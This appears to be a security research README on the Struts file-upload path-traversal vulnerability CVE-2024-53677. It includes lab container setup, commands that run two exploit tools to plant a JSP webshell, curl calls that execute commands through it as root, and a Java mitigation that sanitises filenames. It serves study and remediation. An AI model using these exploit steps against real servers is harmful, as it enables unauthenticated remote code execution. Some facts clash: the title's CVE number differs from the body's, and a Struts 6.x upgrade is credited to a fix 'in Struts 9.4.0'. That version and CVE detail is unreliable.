
Research of exploit options for CVE-2024-53667 and their remediation
The flaw is in how Struts' FileUploadInterceptor hands off the uploaded filename to the action class.
Normally the interceptor sanitizes the filename, but Struts also lets any multipart parameter be
processed as an OGNL expression by the ParametersInterceptor. Sending top.UploadFileName
(or uploadFileName[0] for multi-file actions) as a form field directly calls
action.setUploadFileName(value) via OGNL, overriding whatever the interceptor set.
The action then writes the file with no path sanitization:
String uploadDir = "webapps/ROOT/uploads"; // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // no sanitization
Sending ../shell.jsp as the filename resolves to:
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← served at http://localhost:8080/shell.jsp
Uploading a JSP webshell there gives unauthenticated RCE.
There are two exploits being researched regarding this vulnerability:
The Lab Tomcat application server, used as the target for both exploits, is taken from the first repository, and runs in a container (docker or podman).
Another exploit is provided in this repo as a Java version of poc.py, which
originates from the second source.
The subtle difference between the two exploits is shown in the side-by-side comparison table at the end of this document.
Both exploits have been confirmed to work on Struts 6.3.0.2.
However, when we upgraded Struts to 6.8.0 or 6.9.0, the first exploit
(CVE-2024-53677.py) stopped working - due to the fix in Struts 9.4.0.
The second exploit (StrutsExploitRunner) works on all versions 6.3.0.2, 6.8.0,
6.9.0, unless the exploitable application code is updated as advised
below in the Mitigation section.
See the technical details of the investigation below.
Clone the first repo and change to its root directory:
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
You will need docker (originally) or podman (used in our research) to build and run the exploited Lab Tomcat:
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
Run the exploit scripts as described below in a separate shell from the repo root directory with Python virtual env activated.
Uploads a JSP webshell to /upload.action using top.UploadFileName to inject a path-traversal
filename. The hardcoded web-shell accepts commands via ?action=cmd&cmd=<command>.
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
-p is the value passed as top.UploadFileName. One ../ is enough to escape the uploads/
directory and land the file in the web root.
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
Note the required action=cmd parameter — the hardcoded webshell checks for it before running
the command. Without it you get Unknown action. instead of output.
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
Targets /uploads.action (the multi-file variant) and sets uploadFileName[0] via OGNL to a
path-traversal value. Same underlying bypass, different parameter name and action class.
You will need JDK 17 or later to build and run the exploit (java binary should be in your PATH).
Run the following command in the root of this repo to build the executable uber-jar:
./mvnw clean package
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
--filenames pins the filename so you know where to fetch it. Without it the script generates
random names that are printed in the output.
The web-shell uploaded by this application uses the simpler ?cmd= interface:
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
The canonical fix is upgrading to Struts 7.x, which reworked the file uploading mechanism completely. If that upgrade is blocked (JDK 8 compatibility, third-party dependency constraints), the mitigation below can be applied.
This is the most robust fix because it works regardless of what any interceptor passes in. Strip all path components from the filename before building the destination path, then verify the resolved path is still inside the intended directory.
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Strip any path components the attacker injected via top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Confirm the resolved path is still inside the upload directory
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Invalid upload path.");
return ERROR;
}
// ... copy bytes as before
Paths.get("../shell.jsp").getFileName() returns shell.jsp, so even if top.UploadFileName
delivers a traversal string, it is reduced to a plain filename before any I/O happens.
The same pattern applies to UploadsAction — apply it inside the for loop on each
uploadFileName.get(i).
| CVE-2024-53677.py | StrutsExploitRunner | |
|---|---|---|
| Endpoint | /upload.action | /uploads.action |
| OGNL parameter | top.UploadFileName | uploadFileName[0] |
| Action class | UploadAction (single file) | UploadsAction (multi-file) |
| Webshell call | ?action=cmd&cmd=<cmd> | ?cmd=<cmd> |
| Default path bug | none | --paths default is too deep, override with .. |